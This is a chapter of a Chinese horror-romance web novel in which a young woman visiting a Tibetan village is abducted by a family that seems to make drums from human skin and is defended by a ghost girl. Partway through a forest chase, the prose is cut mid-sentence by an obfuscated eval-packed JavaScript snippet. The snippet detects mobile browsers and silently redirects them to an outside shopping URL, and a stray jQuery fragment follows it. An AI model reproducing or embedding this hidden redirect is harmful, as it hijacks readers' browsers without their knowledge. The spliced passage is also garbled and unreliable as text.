凌晨三点十二分。君若琳睁开眼。
天花板上有一道从窗帘缝隙漏进来的月光。她盯着那根光线看了一会儿,叹了口气,坐起身。
白天的事一直在她脑子里转——索南说“你身上味道不一样“,晋美的眼神,那片干枯的卓玛花瓣。每一件都让她说不上来地烦躁。
她披上外套,出了门。
街上路灯把她的影子拉得很长。冷风从巷口灌进来,她把外套往里拢了拢。
拖鞋踩在石板上,啪嗒,啪嗒,声音在空荡的巷子里弹来弹去。
走了半条街,那种感觉又来了。
一道视线,落在她后颈上。
她慢慢转过头。巷子里只有她自己。路灯把石板路照得泛白,一户人家的经幡在夜风里轻轻翻卷。
她回过头,继续走,脚步比刚才快了一点点。
耳边忽然吹过一阵凉风。像是有人站在她身后,朝她的耳朵轻轻吹了一口气。
她猛地转身。
一个女孩站在她面前,近到能看见她睫毛上沾着的细微水雾。深红与黑色交织的横条纹藏裙。
是她。
巷子里一闪而过的那条裙子,篝火晚会上追丢了的那个身影。
女孩的眉眼弯弯的,嘴唇嘟起来,朝君若琳的头顶轻轻吹了一下。一片花瓣从她发间飘下来,落在两人之间的石板地上。
君若琳低头看。那片花瓣是干的。边缘发脆,像放了很多年。
她后退了一步。手已经探进了外套内侧,握住了鞭柄。
女孩歪了歪头。她的嘴角弯起来
然后女孩拉起她的手。
她的手指很凉。特别凉。
但握着她手腕的动作很轻,像是怕捏碎一片花瓣。
女孩拉着她跑。君若琳被拽着穿过一条窄巷,又穿过一条。巷子很黑,她看不到路,只能跟着前面那个模糊的身影往左拐,再往右拐。女孩在黑暗中回头看了她一眼,那双眼睛出奇地亮。
但转瞬即逝。
巷子到头了。一大片花海铺在月光下面,从她脚边一直漫到远处山脚,全是卓玛花。月光像一层薄薄的银箔覆在花瓣上,风一吹,整片花海就泛起一层银灰色的波浪。
女孩松开她的手,笑着倒退了几步,裙摆在花丛里扫出一道弧线。然后她转过身,张开双臂,朝花海深处跑去。
君若琳站在原地,没有跟。
她低头看着自己的手腕——刚才被女孩握过的地方,有一圈极淡的灰白色印子,像被霜打过。
她抬头看女孩。女孩跑出去十几步,发现她没跟上来,停住了,转过身,朝她甜甜地笑了笑
风把花海吹得沙沙响。君若琳的视野开始变暗。花海、星空、女孩裙摆上的深红条纹,都像被一张灰色的薄纱罩住了。
女孩张开嘴似乎想说什么
“你怎么一个人在这?“索南的声音突然出现,君若琳猛地转身
把格桑花往前递了半寸,声音很轻,像是在哄一只容易受惊的猫,“一个人多没意思啊。”
索南突然出现在她身后,手里拿着一枝格桑花,嘴角依旧挂着微笑
君若琳撑着地面坐起来。她往周围扫了一眼,月光照着的空地,只有她和索南两个人。
她谨慎地接过那枝格桑花。花瓣上还有露水,但茎秆的断口是新的。
索南笑了。他伸出手,掌心朝上,朝她探过来。
君若琳下意识想躲——
两只手同时伸过来。
她的手腕被握住,力道从左侧切进来,连带着她整个人往旁边带了半步。那只手很热,骨节硌在她的腕骨上,。
诸星零的背影把她整个人罩进了影子里,然后他把她往身后带了半步,侧身站在她和索南之间。
而索南的手在同一瞬间被从另一个方向捏住。五根手指扣在他小臂上,指节陷进藏袍的袖子里。晋美站在两人之间,盯着索南,嘴唇抿成一条直线。
“晋美,松手。“索南的语气像是在哄一个不懂事的孩子。
晋美没有松。他捏得更紧了。索南的笑淡了一瞬,随即又恢复如初。他偏过头,目光越过晋美的肩膀,落在君若琳身上,
诸星零的肩膀挡住了他的目光。
“太晚了,她身体不太好,不能熬夜。“诸星零看着索南,语气很平,“我先带她回去了。“
他没有等索南回答。拉着君若琳转身就走。
走了两步,他低头看了一眼她手里那枝格桑花,眉头皱了一下。
"这花有毒。"他说,语气生硬,然后伸手把花抽走,随手扔在了路边的草丛里。
君若琳愣了一下:"格桑花有毒?"
"……高原上的花,大部分都有毒。"他目视前方,声音很平,"你以后别乱接陌生人的东西。"
走出那片空地,晋美也松了手,站在原地看着他们离开的方向。索南没有追。
走了一段,君若琳才开口:“你怎么来了?“
诸星零走在前面半步,看不到脸。过了好几秒,他憋出来一句:“要不是我出来转路,你就被别人骗走了。“
“骗?这倒不至于。“她往前赶了半步,歪头看他,“你吃醋了?“
他的后背僵了一瞬:“怎么可能?!“
声音比刚才高了小半度。
“哦——“她拖长了音调,“我还以为你也想被他追呢。“
他停下来,转过身,无语地看着她。嘴唇动了动,最后皱着眉,很认真地、一字一顿地说:“这人是坏人。你小心点。”
“第一天认识就动手动脚,能是好人吗?”过了一会儿,他又补充了一句。
“我也没觉得他是好人啊。”她把外套拢了拢,垂下眼,“是有点奇怪。刚才他伸手过来的时候,我已经准备躲了。逢场作戏罢了。”
他嗯了一声。两个人继续往前走。
走了几步,他的脚步忽然慢下来。低头,目光落在她的脚上,她一只脚赤着踩在石板地上,脚趾因为凉而微微蜷着,脚踝上沾着几粒细碎的沙土。
应该是刚才走太急掉了。
他没说话。又走了两步,然后停下来,弯腰解开鞋带,把运动鞋脱下来,往她脚边一磕。
鞋跟磕在石板上发出一声闷响。白色的棉袜踩在石板地上,他自己先瑟缩了一下。
“穿上。”他别过脸,语调淡淡地,“我脚热。”
君若琳看了他一眼。现在是凌晨三点,气温不到十度,他脚热?
"不用,反正快到了——"
"让你穿你就穿。"他已经光着脚往前走了一步,步子迈得很大,像是在逃避什么,"废话那么多。"
“别误会,我在地球上生活都是你给的钱。”
她轻笑了一声,穿上鞋。鞋有点大,她的脚在里面晃了晃,但确实暖。
"你鞋掉了咋不说?"他问
"……你当时一直在说话。"君若琳笑了笑,"没来得及。"
“哦”
“……对了。“君若琳忽然开口,语气比刚才慢了一拍,“你以前……来过这个宇宙吗?“
“没有。怎么了?“
她低下眉眼。睫毛的影子落在颧骨上,遮住了她眼里一闪而过的东西:“没事,我就问问。“
“那就快回去吧,困死了。”
————第二天
是个好天气。
三个人沿着村道往外走,舒霁举着手机在前面找路,时不时停下来拍路边晒着的青稞架子和墙头趴着的狸花猫。
村口那棵老核桃树下,弹弦子的老人坐在石墩上,眯着眼晒太阳。君若琳路过时朝他点了点头,老人也点了点头。
他目送三人走远,干枯的手指在弦上轻轻拨了一下,发出一声极低的嗡鸣。
上午逛了镇上的集市,中午吃了碗藏面,下午舒霁去村委做田野调查,诸星零被客栈老板叫去搬花盆。
君若琳一个人往回走。
“真是的……竟然就留我一个人……”
巷子里很安静,午后两点的太阳把石板晒得微微发烫。她路过那棵老核桃树的时候,弹弦子的老人还坐在那里。
看到她走过来,老人抬起头,朝她招了招手,指了指身边的石墩,又指了指怀里的弦子,嘴唇动了动
“坐,我弹给你听。”
她没有多想,在石墩上坐下来。老人低下头,手指搭上琴弦,弹了一支很慢的调子。
风把头顶的经幡吹得啪啪响,一片云遮住了太阳,整条巷子忽然暗下去。
接着眼前一黑就什么都不知道了。
醒来的时候,最先闻到的是木头。老木头,被潮气浸透了很久又晾干,闻起来像旧衣柜。还有酥油——酸掉的酥油,混着灰烬和一股甜腻的、像腐烂的花的味道。
她的后脑勺很重,眼皮涩得睁不开。光很暗,头顶是粗大的房梁,梁上挂着几串干肉和一把生锈的镰刀。
她躺在一张木板上。手腕还带着蓝色珠子。
她强迫自己站起来,扶着墙打量整个空间。很大,但被木板隔成了几个小间。其中一个拉着半张脏兮兮的布帘,帘子下面露出一截木头支架,支架上绷着一张什么东西。
皮。鞣制过的皮。她凑近了看,鼓面上有纹路,不像是画上去的……
指纹?
她不知道为什么下意识有点反胃
这是……皮吗?
帘子被风吹了一下,露出支架后面墙上挂着的几面圆形的、绷着皮子的木框。大小不一。最小的那个只有巴掌大。
一整面墙的皮……
她后退了一步,后背撞上了一个人。
猛地转身。一个老妇人站在她面前。驼背,花白头发编成两根辫子,脸上皱纹堆叠,穿着一件深褐色的氆氇袍子。
她手里端着一个木碗,碗里盛着半碗黑红色的液体。她把碗放在门边的矮桌上,从墙上取下一根细麻绳,用拇指试了试绳子的韧度。
“???????????????????????????????????????????????????“
声音沙哑,像是从嗓子眼里挤出来的。老妇人转身朝门口走去。
门帘落下
君若琳静静听着脚步声渐远
她开始行动
“爹的……”她暗骂一声,有些反胃
那扇很小的窗户,窗框上钉着几根锈迹斑斑的铁条,其中两根已经松动了。
她搬过一个陶罐垫脚,用肩膀顶开铁条,笨拙地跳出了窗户。
外面是密林。树很高,枝叶遮天蔽日。她赤着脚踩在松针上,脚底被碎石硌得生疼。跑了几十步,一只手从旁边的树后伸出来,轻轻拉住了她的手腕。
冰凉,柔软。
她差点叫出声,转头看到那条深红与黑色交织的横条纹裙摆。是昨晚那个女孩。女孩把一根手指贴在嘴唇上,示意她噤声,然后拉着她往左边拐,压低身形穿过一片低矮的灌木。
君若琳跟在她身后,心跳快得像擂鼓。但跑了一段,她忽然觉得不对。
她低头看着女孩的脚。赤脚踩在松针上,每一步都踩得很稳,但被踩过的松针没有弹起来,连凹陷都没有。
她慢下脚步,想把手抽回来。女孩的手指收紧了,五根手指像铁环一样箍在她的手腕上,力道大得不像那双纤细的手能发出来的。
女孩转过头,月光照在她脸上。和昨晚一模一样的眉毛、眼睛、嘴唇。
“怎么了?“她问,声音很轻,语气里带着关切。
君若琳猛地抽回手。她后退了两步,后脚跟磕在一块凸起的树根上。
她有些惊恐地看着眼前的女孩,
直觉告诉她……哪里不对劲……
“这边!“
一个声音从右边的树林里传过来。晋美从树后钻出来,快步走到她面前,看了一眼那个“女孩“,眉头皱了皱,然后拉住她的手腕,把她往右拽,然后开始狂奔
“跟我走,“声音很轻很急,“他们快追上来了。“
君若琳的心跳快到了极致,耳边充满了擂鼓般的心跳,跟着他拽着跑了。
但不知道为什么……还是感觉有哪里不对劲……
晋美转过头,看了一眼身后那个正在追他们的“女孩“,然后凑近她的耳朵,压低声音说了一句:
“她不是活人。“君若琳僵住了。
“我刚才在林子里看到的,“他的嘴唇几乎贴着她的耳廓,“她没有影子。她脚踩过的地方,草都不弯。“
他说这话的时候,眼珠往旁边斜了一下。
君若琳嘴唇发白,咽了一下口水
君若琳顺着他的目光看过去——那个“女孩“正站在几步开外,歪着头看他们,而那个头几乎贴近肩膀,就像……断了一样。
月光照在她脸上,嘴唇还维持着那个后补的微笑
她的目光从晋美脸上移开,扫过他的袖口。然后她慢慢松开了他的手,往后退了一步。
晋美脸上的焦急凝固了。
(晋美……好像不会说汉语……)
君若琳这时才反应过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890141|212425||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来。
晋美没能问完。因为那个“女孩“已经无声无息地走到了他身后。
月光照在她脸上,那个后补的微笑——嘴角在往两边拉,拉到脸颊的位置,还在继续拉。像有人用手指把她的嘴角从里面往外撑。
她的眼睑也在往后退,眼白越来越多,眼珠从灰褐色褪成了两个黑洞洞的窟窿。
晋美也变了。他的肩膀开始塌,像里面的骨头正在一根一根被抽走。皮肤拉长,五官移位,嘴唇翻起来露出牙龈,牙龈上没有牙齿,只有一排密密麻麻的、正在翕动的肉芽。
君若琳瞪大眼睛往后退。一步,两步。然后她踩到了一根粗大的树根,整个人往后倒去。后背重重撞在地上,松针扎进她的掌心和大腿
两道脚步声从左右两侧同时靠近。不慌不忙,踩在松针上,每一步都带着从容的节奏。
索南从树林里走出来,换了一身深色藏袍,手里拿着一根细麻绳,和老妇人手里那根一样。那个驼背的老妇人从另一边走出来,手里那碗黑红色的液体还没倒掉。
“你醒得比我想的快。“索南看着她,嘴角挂着微笑,语气很轻,像是在夸她。然后把那根细麻绳在掌心里拍了一下:“不过没关系,我们有的是时间。“
他伸出手,朝她走过来。和昨晚一样的姿势,掌心朝上。
“你们究竟要干什么?“君若琳的额头冒出密密麻麻的冷汗。
她最怕的就是这些灵异的东西……
“干什么?“他重复了一遍,语气里带着一丝意外
“我从第一眼看到你,就觉得你不一样。“他把绕好的麻绳放在掌心,朝她走了一步,“你笑起来的时候,真的很可爱,有别的女生没有的东西。“
她又往后退了半步。脚后跟已经抵住了树根的边缘,再退就是斜坡。
“我想把你留在这里。“他说,声音很轻,像是在说一件再自然不过的事,“当然,你放心不是关着你,而是留下来。和我一起。阿婆会喜欢你,院子里那些花你也可以随便摘。“
他伸出手。掌心朝上,指尖微微蜷着,和昨晚篝火晚会上第一次邀请她跳舞时一模一样的姿势。
“外面有什么好?“他把手往前伸了半寸。
“我阿妈就是这样留下来的。“他的声音更轻了,“我祖祖也是。她们都很开心。你也会开心的。“
君若琳的胃翻了一下。她看着索南的眼睛,那双眼睛里没有疯狂,也没有恶意,竟然只有一种平静的、理所当然的笃定。
他真的相信自己在做好事……
老妇人拨动手中那串骨质念珠,两团灰白色的烟气从念珠上腾起,
假女孩假晋美渐渐变成了两个佝偻的老人,一男一女。男的脖子朝左偏折,下巴贴在肩膀上,眼珠上翻露出全是眼白的眼眶。女的花白头发用红绳扎着,嘴角被线缝住,只能用鼻腔发出持续的、低沉的哼哼声。它们的脚都没有着地。
“祖祖,爷爷,她想跑。“索南往旁边让了半步。
四道身影同时动了。索南从正面伸手抓来,老妇人从左侧逼上来。
君若琳侧身避开索南的手,往右侧滚了一圈。
但祖祖和爷爷已经从两侧飘上来了。一个封左侧,一个封右侧,留给她退后的空间只有三尺。
就在这时——
一道深红与黑色的身影从她身侧闪出。
女孩挡在祖祖面前。她张开双臂,用身体硬生生接住了那只探过来的爪子。指甲穿过她的胸口,她发出一声哀嚎。
君若琳愣住了。
女孩的身形暗了一瞬,从深红褪成暗红。她张开嘴,对着祖祖喊了一声。声音嘶哑,尾音往上扬。祖祖被缝住的嘴角猛地往两边扯了一下,那只刚要再次探出的手,悬在半空中。
但也只有这一瞬。老妇人又拨了一颗念珠。两只恶灵的眼珠重新翻白,尖啸着再次扑上来。
女孩侧身,用肩膀撞开爷爷伸向君若琳的爪子。紧接着祖祖又扑过来,她转身用后背挡住,整个身体被撞得闪了一下,又暗了一度。
两只恶灵绕过她、穿过她、试图从她身侧钻过去攻击君若琳,她就转身再挡,用胸口、用肩膀、用后背。每一次接触她的身体就暗一分,并发出一声尖锐的惨叫。
君若琳站在她身后半步。月光穿过女孩的身体
(没有……影子……)
她忽然明白了。这个女孩,昨晚拉着她跑、带她去花海、在林子里救她,不是索南的人。她是来救她的。
她也发现了索南盯上了君若琳吗?
老妇人又拨了一颗念珠。祖祖和爷爷再次被灰白色的烟气注入,身形膨胀了半圈,再次冲向君若琳。女孩张开双臂,挺起胸膛,用自己已经快要透明的身躯硬生生接住了两只恶灵同时的撞击。
那一瞬间,她的背脊向后弯曲,胸腔被压得几乎贴上了脊椎。
幽蓝色的光从她体内涌出来,在黑暗中炸开一团冷光。两只恶灵被震退了一步。
她扭过头看了君若琳一眼。目光落在君若琳手臂上那道被碎石划破的伤口上,幽蓝色的光在她眼底闪烁了一下。
忽然她爆发出一阵强大的光芒。她在光芒中膨胀、扭曲、拔高。巨大化的恶灵在村庄上空升起,月光被她的身躯遮住。
她低头看着脚下那片灯火,张开嘴,发出一声嘶哑的、压抑了几十年的哭喊。
诸星零和舒霁从林线上方冲下来。舒霁头发还是乱的。
诸星零跑到君若琳面前,脚步刹得太急,在松针上滑了半步。他上下扫了她一眼,手臂上的伤口、大腿上的划痕、脚踝上的沙土、赤脚踩在松针上的脚。
他的眉头皱了起来。
"你是笨蛋吗?"他的声音有点急促,"跑的时候不知道看路?赤脚在林子里跑,你想把脚废掉?"
他蹲下来,一把抓住她的脚踝,把她的脚抬起来看。
掌心被碎石划了一道口子,还在渗血,大腿处的裤子也有些红
他的动作顿了一下。然后从口袋里掏出一卷绷带,动作有点粗暴地开始缠。
"别动。"他低着头,"感染了我不背你回去。"
舒霁冲到索南和君若琳之间,把君若琳挡在身后。
君若琳注意到,舒霁的右手在身侧攥了一下,又松开。很快,快到像错觉。
她的目光落在君若琳被划伤的手臂上,停了半秒,然后移开,看向索南。
“你们把她带到这里来,想干什么。“
“呵,要不是跟着你那什么弟弟,还找不到这里来。”她咬牙切齿道。